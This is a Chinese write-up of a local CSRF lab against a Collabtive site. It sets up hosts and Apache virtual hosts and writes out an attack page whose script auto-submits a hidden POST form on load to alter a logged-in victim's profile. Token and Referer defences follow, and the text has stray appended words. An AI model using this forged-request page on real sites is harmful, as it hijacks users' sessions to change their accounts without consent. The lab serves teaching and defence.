记录一下实验过程,实验楼已经给搭建好了两个网站javascript
攻击网站:www.csrflabattacker.com 被攻击网站:www.csrflabcollabtive.com
登陆实验环境,启动apache服务和mysql服务php
配置DNS 路径为/etc/hosts
添加两行 做用是当访问下面两个域名时指向本机html
127.0.0.1 www.csrflabattacker.com 127.0.0.1 www.csrflabcollabtive.com
配置网站,路径/etc/apache2/conf.d/lab.conf
添加以下内容,做用是将相应网站绑定到本地的对应端口上,你能够经过127.0.0.1:80访问http://www.csrflabcollabtive.com 这个网站,亦可经过域名访问。java
<VirtualHost *:80> ServerName http://www.csrflabcollabtive.com DocumentRoot /var/www/CSRF/Collabtive/ </VirtualHost> <VirtualHost *:8080> ServerName http://www.csrflabattacker.com DocumentRoot /var/www/CSRF/Attacker/ </VirtualHost>
下载livehttpheader插件,实验楼已经记录的很详细,这里就再也不描述mysql
打开 www.csrflabcollabtive.com 网站,打开livehttpheader插件,访问编辑用户界面并修改用户信息,点击send按钮。在livehttpheader中查看http请求头。web
捕捉到请求报文后就能够在攻击网站上构造攻击页面了,在/var/www/CSRF/Attacker/文件加下新建index.html文件。做用是你在点击攻击网站时,攻击网站会向被攻击网站提交post请求,而浏览器会自动获取你以前登陆被攻击网站的cookies,这样被攻击网站就没法判断提交post请求的是合法用户仍是恶意网站。sql
<html> <body> <h1> This page forges an HTTP POST request. </h1> <script type="text/javascript"> function post(url, fields) { //create a <form> element. var p = document.createElement("form"); //construct the form p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; //append the form to the current page. document.body.appendChild(p); //submit the form p.submit(); } function csrf_hack() { var fields; // The following are form entries that need to be filled out // by attackers. The entries are made hidden, so the victim // won't be able to see them. fields += "<input type='hidden' name='name' value='admin' >"; fields += "<input type='hidden' name='gender' value='female' >"; //修改性别 fields += "<input type='hidden' name='company' value='seed' >"; //修改公司名 post('http://www.csrflabcollabtive.com/manageuser.php?action=edit', fields); } // invoke csrf_hack() after the page is loaded. window.onload = function() { csrf_hack(); } </script> </body> </html>
防护方法,通常都是在客户端加伪随机数
在本实验中,在sudo vim /var/www/CSRF/Collabtive/templates/standard/edituserform.tpl下添加一个隐藏的字段sid。在提交表单处将cookie值赋值给sid:this.form.sid.value = document.cookie
<input type="hidden" name="sid" value="">
修改/var/www/CSRF/Collabtive/manageuser.php文件
获取post提交的sid值
$sid = getArrayVal($_POST,"sid")
对用户id的值进行判断,若是用户id的值等于phpsessionid的值则进行提交
if($_COOKIE['PHPSESSIONID']==$sid)apache
加密令牌:web应用程序在网页中嵌入一个加密的令牌,全部的请求都包含这个加密的令牌,因为跨站请求没法获取这个令牌,因此伪造的请求就会被服务器识别。
referer头途径:验证来源页面的referer,然而因为隐私考虑,这个referer常常被客户端过滤。vim